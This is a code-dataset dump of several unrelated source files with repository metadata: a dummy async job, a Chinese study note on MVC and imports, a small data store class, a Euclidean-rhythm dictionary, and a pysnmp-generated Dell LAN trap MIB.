| 26.333333 | 48 | 0.746835 | 52 | 553 | 7.865385 | 0.461538 | 0.161369 | 0.161369 | 0.183374 | 0.457213 | 0.457213 | 0.457213 | 0.457213 | 0 | 0 | 0 | 0 | 0.155515 | 553 | 20 | 49 | 27.65 | 0.875803 | 0.542495 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
b54d01203ee1d59d0edb39f596172a1e543f3146 | 982 | py | Python | pyjobserver/jobs/example.py | athewsey/pyjobserver | 1251a0f22182c8bc8b55a85ef45adc7c1e2b982e | [
"Apache-2.0"
] | null | null | null | pyjobserver/jobs/example.py | athewsey/pyjobserver | 1251a0f22182c8bc8b55a85ef45adc7c1e2b982e | [
"Apache-2.0"
] | null | null | null | pyjobserver/jobs/example.py | athewsey/pyjobserver | 1251a0f22182c8bc8b55a85ef45adc7c1e2b982e | [
"Apache-2.0"
] | null | null | null | """A dummy example job
"""
# Built-Ins:
from asyncio import sleep
from typing import Awaitable
# External Imports:
from dataclasses import field
from marshmallow import Schema
from marshmallow_dataclass import dataclass
# Internal Imports:
from ..base import Job
from ..models import BaseApiModel, BaseJobSpec, JobProgress
@dataclass
class ExampleJobSpec(BaseJobSpec):
succeed: bool = field(metadata={ "required": True })
@dataclass
class ExampleJobResult(BaseApiModel):
id: str = field()
# TODO: Will this serialise properly?
spec: ExampleJobSpec = field()
result: bool = field()
async def example_job_fn(input: ExampleJobSpec, taskobj: Job, threadpool=None) -> ExampleJobResult:
for i in range(5):
await sleep(2)
taskobj.emit("progress", JobProgress((i + 0.5) * 20))
assert input.succeed, "Example job failing as instructed by specification"
await sleep(2)
return ExampleJobResult(id=taskobj.id, spec=input, result=True)
| 27.277778 | 99 | 0.732179 | 119 | 982 | 6.016807 | 0.563025 | 0.041899 | 0.030726 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00861 | 0.172098 | 982 | 35 | 100 | 28.057143 | 0.872079 | 0.104888 | 0 | 0.181818 | 0 | 0 | 0.075949 | 0 | 0 | 0 | 0 | 0.028571 | 0.045455 | 1 | 0 | false | 0 | 0.318182 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
b54eb1a085386935f91f6fba328e8c6ea6934cb6 | 828 | py | Python | month02/multiprocessing/day13-2/FTP/review.py | chaofan-zheng/python_learning_code | 5d05848911d55aa49eaee4afd7ffd80536fad7aa | [
"Apache-2.0"
] | 4 | 2021-01-07T14:25:15.000Z | 2021-02-01T10:36:10.000Z | month02/multiprocessing/day13-2/FTP/review.py | chaofan-zheng/python_learning_code | 5d05848911d55aa49eaee4afd7ffd80536fad7aa | [
"Apache-2.0"
] | null | null | null | month02/multiprocessing/day13-2/FTP/review.py | chaofan-zheng/python_learning_code | 5d05848911d55aa49eaee4afd7ffd80536fad7aa | [
"Apache-2.0"
] | null | null | null | """
复习 MVC
class XXModel:
# 封装数据
def __init__(self,参数1,参数2,参数3):
self.数据1 = 参数1
self.数据2 = 参数2
self.数据3 = 参数3
class XXView:
def __init__(self):
self.controller = XXController()
# 界面逻辑:输入、输出、页面跳转
def 输入信息方法(self):
数据 = XXModel(输入的各种信息)
self.controller.存储信息方法(数据)
class XXController:
# 业务逻辑:对数据的核心操作
def 存储信息方法():
...
view = XXView()
view.输入信息方法()
导入模块
方式一:"我过去" --- 本质:通过变量关联模块
import 模块名
模块名.成员
方式二:"你过来" --- 本质:将模块的成员导入到当前作用域中
from 模块名 import 成员
成员
小心:命名冲突
"""
print("你猜我的模块名:",__name__)
def func01():
print("func01")
| 20.195122 | 48 | 0.444444 | 79 | 828 | 4.506329 | 0.582278 | 0.039326 | 0.061798 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028634 | 0.451691 | 828 | 40 | 49 | 20.7 | 0.755507 | 0.778986 | 0 | 0 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0 | 0 | 0.333333 | 0.666667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
b55207ab91456d1b3a91be00df2ca7b445951c48 | 516 | py | Python | closest_customers/store/data_store.py | charulagrl/closest-customers | 6a7ba3ec342f6fd80589401cbe46c0405faa312c | [
"BSD-2-Clause"
] | null | null | null | closest_customers/store/data_store.py | charulagrl/closest-customers | 6a7ba3ec342f6fd80589401cbe46c0405faa312c | [
"BSD-2-Clause"
] | null | null | null | closest_customers/store/data_store.py | charulagrl/closest-customers | 6a7ba3ec342f6fd80589401cbe46c0405faa312c | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from .data_loader import DataLoader
class DataStore(object):
def __init__(self, path):
self.data_loader = DataLoader(path)
self.customers = self.data_loader.get_customer_objects()
self.offices = self.data_loader.get_office_objects()
def get_all_customers(self):
return self.customers
def get_all_offices(self):
return self.offices
def get_office_by_id(self, id):
return self.offices.get(id, None)
def get_customer_by_id(self, id):
return self.customers.get(id, None)
| 23.454545 | 58 | 0.753876 | 78 | 516 | 4.705128 | 0.333333 | 0.108992 | 0.114441 | 0.092643 | 0.108992 | 0.108992 | 0 | 0 | 0 | 0 | 0 | 0.002232 | 0.131783 | 516 | 21 | 59 | 24.571429 | 0.816964 | 0.040698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.357143 | false | 0 | 0.071429 | 0.285714 | 0.785714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
b572dcb9b2ef980702d70df78707acf7068b65db | 65 | py | Python | exercicios/ex012/ex012.py | brenoedl0/python | 92ee4ea141584e0bd140449c093f871c2140b1a5 | [
"MIT"
] | null | null | null | exercicios/ex012/ex012.py | brenoedl0/python | 92ee4ea141584e0bd140449c093f871c2140b1a5 | [
"MIT"
] | null | null | null | exercicios/ex012/ex012.py | brenoedl0/python | 92ee4ea141584e0bd140449c093f871c2140b1a5 | [
"MIT"
] | null | null | null | for c in range(1,7):
print('paso {}'.format(c))
print('fim')
| 16.25 | 30 | 0.569231 | 12 | 65 | 3.083333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037037 | 0.169231 | 65 | 3 | 31 | 21.666667 | 0.648148 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
b590fc11c9a9a68c22927033867c9bd4e23cfa20 | 8,847 | py | Python | biotuner/dictionaries.py | AntoineBellemare/Biotuner | 0cd094a971eb9c95232a251b77705a830938aab2 | [
"MIT"
] | 2 | 2021-11-13T12:50:18.000Z | 2022-03-13T00:27:25.000Z | biotuner/dictionaries.py | AntoineBellemare/Biotuner | 0cd094a971eb9c95232a251b77705a830938aab2 | [
"MIT"
] | 2 | 2021-05-20T04:17:53.000Z | 2021-05-24T13:19:20.000Z | biotuner/dictionaries.py | AntoineBellemare/Biotuner | 0cd094a971eb9c95232a251b77705a830938aab2 | [
"MIT"
] | 1 | 2021-05-23T20:19:53.000Z | 2021-05-23T20:19:53.000Z | dict_rhythms = {
"E(2,3)" : "A common Afro-Cuban drum pattern when started on the second onset as in [101]. For example, it is the conga rhythm of the (6/8)-time Swing Tumbao. It is common in Latin American music, as for example in the Cueca, and the coros de clave. It is common in Arabic music, as for example in the Al Taer rhythm of Nubia. It is also a rhythmic pattern of the Drum Dance of the Slavey Indians of Northern Canada",
"E(2,5)" : "A rhythm found in Greece, Namibia, Rwanda and Central Africa. It is also a 13th century Persian rhythm called Khafif-e-ramal, as well as the rhythm of the dance Makedonka from the FYROM. Tchaikovsky used it as the metric pattern in the second movement of his Symphony No. 6. Started on the second onset as in [10010] it is a rhythm found in Central Africa, Bulgaria, Turkey, Turkestan and Norway. It is also the metric pattern of Dave Brubeck's Take Five, as well as Mars from The Planets by Gustav Holst. Rotated as in [10010100100], it is a Serbian rhythmic pattern. When it is started on the fourth (last) onset it is the Daasa al kbiri rhythmic pattern of Yemen.",
"E(3,4)" : "It is the archetypal pattern of the Cumbia from Colombia, as well as a Calypso rhythm from Trinidad. It is also a thirteenth century Persian rhythm called Khalif-e-saghil, as well as the trochoid choreic rhythmic pattern of ancient Greece.",
"E(3,5)" : "When started on the second onset, it is a thirteenth century Persian rhythm by the name of Khafif-e-ramal, as well as a Rumanian folk-dance rhythm.",
"E(3,7)" : "It is the Ruchenitza rhythm used in a Bulgarian folk-dance. It is also the metric pattern of Pink Floyd's Money.",
"E(3,8)" : "It is none other than one of the most famous rythms on the planet. In Cuba it goes by the name of the tresillo and in the USA is often called the Habanera rhythm used in hundreds of rockabilly songs during the 1950s. It can often be heard in early rock-and-roll hits in the left-hand patterns of the piano, or played on the string bass or saxophone. A good example is the bass rhythm in Elvis Presley's Hound Dog. The tresillo pattern is also found widely in West African traditional music. For example, it is played on the atoke bell in the Sohu, an Ewe dance from Ghana. The tresillo can also be recognized as the first bar of the ubiquitous two-bar clave Son given by [1001001000101000].",
"E(4,7)" : "It is a Ruchenitza Bulgarian folk-dance rhythm.",
"E(4,9)" : "It is the Aksak rhythm of Turkey. It is also the metric pattern used by Dave Brubeck in his piece Rondo a la Turk.",
"E(4,11)" : "It is the metric pattern used by Frank Zappa in his piece titled Outside Now.",
"E(4,12)" : "It is periodic with four repetitions of E(1,3) = [100]. It is the (12/8)-time Fandago clapping pattern in the Flamenco music of southern Spain, where 1 denotes a loud clap and 0 soft clap.",
"E(4,15)" : "It is the metric pattern of the pancam savari tal of North Indian music.",
"E(5,6)" : "It yields the York-Samai pattern, a popular Arabic rhythm. It is also a handclapping rhythm used in the Al Medemi songs of Oman.",
"E(5,7)" : "It is the Nawakhat pattern, a popular Arabic rhythm. In Nubia it is called the Al Noht rhythm.",
"E(5,8)" : "It is the Cuban cinquillo pattern, the Malfuf rhythmic pattern of Egypt, as well as the Korean Nong Pyon drum pattern. Started on the second onset, it is a popular Middle Eastern rhythm, as well as the Timini rhythm of Senegal, the Adzogbo dance rhythm of Benin, the Spanish Tango, the Maksum of Egypt, and a 13th century Persian rhythm, the Al-saghil-alsani. When it is started on the third onset it is the Musemmen rhythm of Turkey. When it is started on the fourth onset it is the Kromanti rhythm of Surinam.",
"E(5,9)" : "It is a popular Arabic rhythm called Agsag-Samai. Started on the second onset, it is a drum pattern used by the Venda in South Africa, as well as a Rumanian folk-dance rhythm. It is also the rhythmic pattern of the Sigaktistos rhythm of Greece, and the Samai aktsak rhythm of Turkey. Started on the third onset, it is the rhythmic pattern of the Nawahiid rhythm of Turkey.",
"E(5,11)" : "It is the metric pattern of the Savari tala used in the Hindustani music of India. It is also a rhythmic pattern used in Bulgaria and Serbia. In Bulgaria is is used in the Kopanitsa. This metric pattern has been used by Moussorgsky in Pictures at an Exhibition. Started on the third onset, it is the rhythm of the dance Kalajdzijsko Oro from the FYROM, and it appears in Bulgarian music as well.",
"E(5,12)" : "It is a common rhythm played in the Central African Republic by the Aka Pygmies. It is also the Venda clapping pattern of a South African children's song, and a rhythm pattern used in the FYROM. Started on the second onset, it is the Columbia bell pattern popular in Cuba and West Africa, as well as a drumming pattern used in the Chakacha dance of Kenya, and also used in the FYROM . Started on the third onset, it is the Bemba bell pattern used in Northern Zimbabwe, and the rhythm of the dance from the FYROM Ibraim Odza Oro. Started on the fourth onset, it is the Fume Fume bell pattern popular in West Africa, and is a rhythm used in the former Yugoslavia. Finally, when started on the fifth onset it is the Salve bell pattern used in the Dominican Republic in a rhythm called Canto de Vela in honor of the Virgin Mary, as well as the drum rhythmic pattern of the Moroccan Al Kudam.",
"E(5,13)" : "It is a rhythm from the FYROM which is also played by starting it on the fourth onset as follows: [1010010010100].",
"E(5,16)" : "It is the Bossa-Nova rhythm necklace of Brazil. The actual Bossa-Nova rhythm usually starts on the third onset as follows: [1001001000100100]. However, other starting places are also documented in world music practices, such as [1001001001000100].",
"E(6,7)" : "It is the Pontakos rhythm of Greece when started on the sixth (last) onset.",
"E(6,13)" : "It is the rhythm of the dance Mama Cone pita from the FYROM. Started on the third onset, it is the rhythm of the dance Postupano Oro from the FYROM, as well as the Krivo Plovdivsko Horo of Bulgaria.",
"E(7,8)" : "When started on the seventh (last) onset, is a typical rhythm played on the Bendir (frame drum), and used in the accompaniment of songs of the Tuareg people of Libya.",
"E(7,9)" : "It is the Bazaragana rhythmic pattern of Greece.",
"E(7,10)" : "It is the Lenk fahhte rhythmic pattern of Turkey.",
"E(7,12)" : "It is a common West African bell pattern. For example, it is used in the Mpre rhythm of the Ashanti people of Ghana. Started on the seventh (last) onset, it is a Yoruba bell pattern of Nigeria, a Babenzele pattern of Central Africa, and a Mende pattern of Sierra Leone.",
"E(7,15)" : "It is a Bulgarian rhythm when started on the third onset.",
"E(7,16)" : "It is a Samba rhythm necklace from Brazil. The actual Samba rhythm is [1010010101001010] obtained by starting E(7, 16) on the last onset, and it coincides with a rhythm from the FYROM. When E(7, 16) is started on the fifth onset it is a clapping pattern from Ghana. When it is started on the second onset it is a rhythmic pattern found in the former Yugoslavia.",
"E(7,17)" : "It is a rhythm from the FYROM when started on the second onset.",
"E(7,18)" : "It is a Bulgarian rhythmic pattern.",
"E(8,17)" : "It is a Bulgarian rhythmic pattern which is also started on the fifth onset.",
"E(8,19)" : "It is a Bulgarian rhythmic pattern when started on the second onset.",
"E(9,14)" : "When started on the second onset, it is the rhythmic pattern of the Tsofyan rhythm of Algeria.",
"E(9,16)" : "It is a rhythm necklace used in the Central African Republic. When it is started on the second onset it is a bell pattern of the Luba people of Congo. When it is started on the fourth onset it is a rhythm played in West and Central Africa, as well as a cow-bell pattern in the Brazilian samba. When it is started on the penultimate onset it is the bell pattern of the Ngbaka-Maibo rhythms of the Central African Republic.",
"E(9,22)" : "It is a Bulgarian rhythmic pattern when started on the second onset.",
"E(9,23)" : "It is a Bulgarian rhythm.",
"E(11,12)" : "When started on the second onset, is thedrum pattern of the Rahmani (a cylindrical double-headed drum) used in the Sot silam dance from Mirbat in the South of Oman.",
"E(11,24)" : "It is a rhythm necklace of the Aka Pygmies of Central Africa. It is usually started on the seventh onset. Started on the second onset, it is a Bulgarian rhythm.",
"E(13,24)" : "It is another rhythm necklace of the Aka Pygmies of the upper Sangha. Started on the penultimate onset, it is the Bobangi metal-blade pattern used by the Aka Pygmies.",
"E(15,34)" : "It is a Bulgarian rhythmic pattern when started on the penultimate onset."
} | 215.780488 | 904 | 0.748163 | 1,638 | 8,847 | 4.040293 | 0.229548 | 0.048957 | 0.06165 | 0.038078 | 0.325476 | 0.256271 | 0.197492 | 0.133424 | 0.066183 | 0.066183 | 0 | 0.031788 | 0.185713 | 8,847 | 41 | 905 | 215.780488 | 0.886868 | 0 | 0 | 0 | 0 | 0.585366 | 0.94948 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a92d521f0a82a7f6122b0c0cfd40e82cba2bb3ce | 133 | py | Python | CodeWars/8 Kyu/Keep up the hoop.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | CodeWars/8 Kyu/Keep up the hoop.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | CodeWars/8 Kyu/Keep up the hoop.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | def hoopCount(n):
if n > 9:
return "Great, now move on to tricks"
else:
return "Keep at it until you get it" | 26.6 | 45 | 0.571429 | 22 | 133 | 3.454545 | 0.863636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011494 | 0.345865 | 133 | 5 | 46 | 26.6 | 0.862069 | 0 | 0 | 0 | 0 | 0 | 0.410448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
a9635a93bff3ffdde27fd4d892ed9cc2129d9a90 | 42,988 | py | Python | pysnmp-with-texts/Dell-LAN-TRAP-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/Dell-LAN-TRAP-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/Dell-LAN-TRAP-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module Dell-LAN-TRAP-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Dell-LAN-TRAP-MIB
# Produced by pysmi-0.3.4 at Wed May 1 12:56:05 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsIntersection, ConstraintsUnion, SingleValueConstraint, ValueRangeConstraint, ValueSizeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "ConstraintsUnion", "SingleValueConstraint", "ValueRangeConstraint", "ValueSizeConstraint")
dellLan, dellLanCommon = mibBuilder.importSymbols("Dell-Vendor-MIB", "dellLan", "dellLanCommon")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
ObjectIdentity, Gauge32, Unsigned32, IpAddress, MibScalar, MibTable, MibTableRow, MibTableColumn, TimeTicks, MibIdentifier, Bits, Counter32, Counter64, NotificationType, Integer32, iso, ModuleIdentity = mibBuilder.importSymbols("SNMPv2-SMI", "ObjectIdentity", "Gauge32", "Unsigned32", "IpAddress", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "TimeTicks", "MibIdentifier", "Bits", "Counter32", "Counter64", "NotificationType", "Integer32", "iso", "ModuleIdentity")
DisplayString, DateAndTime, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "DateAndTime", "TextualConvention")
dellAlarmGroup = ModuleIdentity((1, 3, 6, 1, 4, 1, 674, 10895, 5000, 1, 1))
if mibBuilder.loadTexts: dellAlarmGroup.setLastUpdated('200504260000Z')
if mibBuilder.loadTexts: dellAlarmGroup.setOrganization('Dell.')
if mibBuilder.loadTexts: dellAlarmGroup.setContactInfo(' ')
if mibBuilder.loadTexts: dellAlarmGroup.setDescription(' ')
dellTrapInfo = MibScalar((1, 3, 6, 1, 4, 1, 674, 10895, 5000, 1, 1, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: dellTrapInfo.setStatus('current')
if mibBuilder.loadTexts: dellTrapInfo.setDescription('This text string may be used to provide additional information regarding the trap being sent. Any specific formatting information is given in the trap definition.')
dellTrapSeverity = MibScalar((1, 3, 6, 1, 4, 1, 674, 10895, 5000, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4))).clone(namedValues=NamedValues(("clear", 0), ("info", 1), ("minor", 2), ("major", 3), ("critical", 4)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: dellTrapSeverity.setStatus('current')
if mibBuilder.loadTexts: dellTrapSeverity.setDescription('The severity type of the enterprise-specific trap sent to the Network Management Station by the Dell managed device. The Severity level are defined as follows: Critical - service affecting event. Major - a major error which is not service affecting but does require immediate user attention to prevent further degredation of the system, which may lead to a critical error. For example, if a redundant port failure would be considered a major event whereas the failure of an unprotected port is a critical event. Minor - a minor event which is not service affecting and is unlikely to lead to a major or critical event. The user does not need to take immediate actions but some action is required to clear the event. Info - a notification to the user of some event that does not require any user action. For example, a security notification is useful information but does not require the user to take any specific immediate action. This event is not cleared. Clear - this special trap is sent to clear some previously sent trap. Note that if the sequence number sent with the clear event is 0 then the clear event is used to indicate that all outstanding event of this particular type on a given source (dellTrapSource) has been cleared. If the event sequence number (dellTrapSeqNum) is sent with a non-zero value, then the clear event is sent to clear only the specific trap instance designated by the sequence number in question.')
dellTrapSource = MibScalar((1, 3, 6, 1, 4, 1, 674, 10895, 5000, 1, 1, 3), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: dellTrapSource.setStatus('current')
if mibBuilder.loadTexts: dellTrapSource.setDescription("The trap source is a string identifying the component of the device generating the trap. The source identifies the component associated with the fault. This may for example, identify the unit, slot, port, and possibly logical ports (VLAN, LAG) from which the fault occurs. The format of the source string is: 'TYPE=#:TYPE=#:...' where the TYPE may be one of 'unit' or 'slot' or 'port' or 'VLAN' or 'LAG'. For example: 'unit=3:slot=1:port=2' - indicates the trap comes from port 2 in slot 1 of the switch #3 in the stack. 'unit=2:VLAN=10' - indicates the trap comes from VLAN=10 in unit 2. 'unit=1' - indicates the trap comes from unit 1.")
dellTrapSeqNum = MibScalar((1, 3, 6, 1, 4, 1, 674, 10895, 5000, 1, 1, 4), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: dellTrapSeqNum.setStatus('current')
if mibBuilder.loadTexts: dellTrapSeqNum.setDescription('Since SNMP traps are transported using UDP, there is a possibility for the trap to be lost in transit. To allow the NMS the ability to detect this possibility, all traps will include a trap sequence number as part of its variable binding list. The trap sequence number may be reset each time the system reboots and will increment for each trap sent from the device. When a missing trap sequence number is detected the NMS may be able to refresh its state of the switch to determine what event it may have missed.')
dellTrapTimeStamp = MibScalar((1, 3, 6, 1, 4, 1, 674, 10895, 5000, 1, 1, 5), DateAndTime()).setMaxAccess("readonly")
if mibBuilder.loadTexts: dellTrapTimeStamp.setStatus('current')
if mibBuilder.loadTexts: dellTrapTimeStamp.setDescription('The trap header includes the system up time which mark when the trap was generated, but often it is important to know the absolute time when the trap was generated. This time stamp is based on GMT (universal time) time zone. This will allow the timestamps to be correlated consistently across a large network.')
hwResourceOverflow = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 500)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: hwResourceOverflow.setStatus('current')
if mibBuilder.loadTexts: hwResourceOverflow.setDescription('Indicates that a switch hardware resource overflowed. The dellTrapSource should indicate the unit number whereas dellTrapInfo should identify the resource that overflowed.')
swResourceOverflow = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 510)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: swResourceOverflow.setStatus('current')
if mibBuilder.loadTexts: swResourceOverflow.setDescription('Indicates that a switch software resource overflowed. The dellTrapSource should indicate the unit number whereas dellTrapInfo should identify the resource that overflowed (e.g. maximum VLAN/LAG/MACs/IPs exceeded).')
configChanged = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 520)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: configChanged.setStatus('current')
if mibBuilder.loadTexts: configChanged.setDescription('Indicates that the switch configuration has changed. The dellTrapSource should indicate the source of the change such as the unit, slot, port, VLAN, LAG, etc. The dellTrapInfo may indicate additional information regarding the change.')
resetRequired = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 530)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: resetRequired.setStatus('current')
if mibBuilder.loadTexts: resetRequired.setDescription('This trap indicates that in order to perform the last SET request, a reset operation of the router/bridge is required. This may occur for any number of reasons such as if the change affects the routing protocols to be switched from SPF to STP. This trap warns the user to manually reset the switch using either physical or software reset.')
endTftp = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 540)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: endTftp.setStatus('current')
if mibBuilder.loadTexts: endTftp.setDescription('This trap indicates that the device finished a TFTP transaction with the management station. The dellTrapInfo field will provide TFTP exit code and name/type of the file being transferred.')
abortTftp = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 550)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: abortTftp.setStatus('current')
if mibBuilder.loadTexts: abortTftp.setDescription('This trap indicates that in the device aborted a TFTP session with the management station. The dellTrapInfo field will provide TFTP exit code and name/type of the file being transferred.')
startTftp = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 560)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: startTftp.setStatus('current')
if mibBuilder.loadTexts: startTftp.setDescription('Informational trap indicating that the device has intiated a TFTP session. dellTrapInfo will contain the name/type of the file being transferred.')
linkFailure = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 570)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: linkFailure.setStatus('current')
if mibBuilder.loadTexts: linkFailure.setDescription('Link failure detected, no backup available. The dellTrapSource should indicate the fail link.')
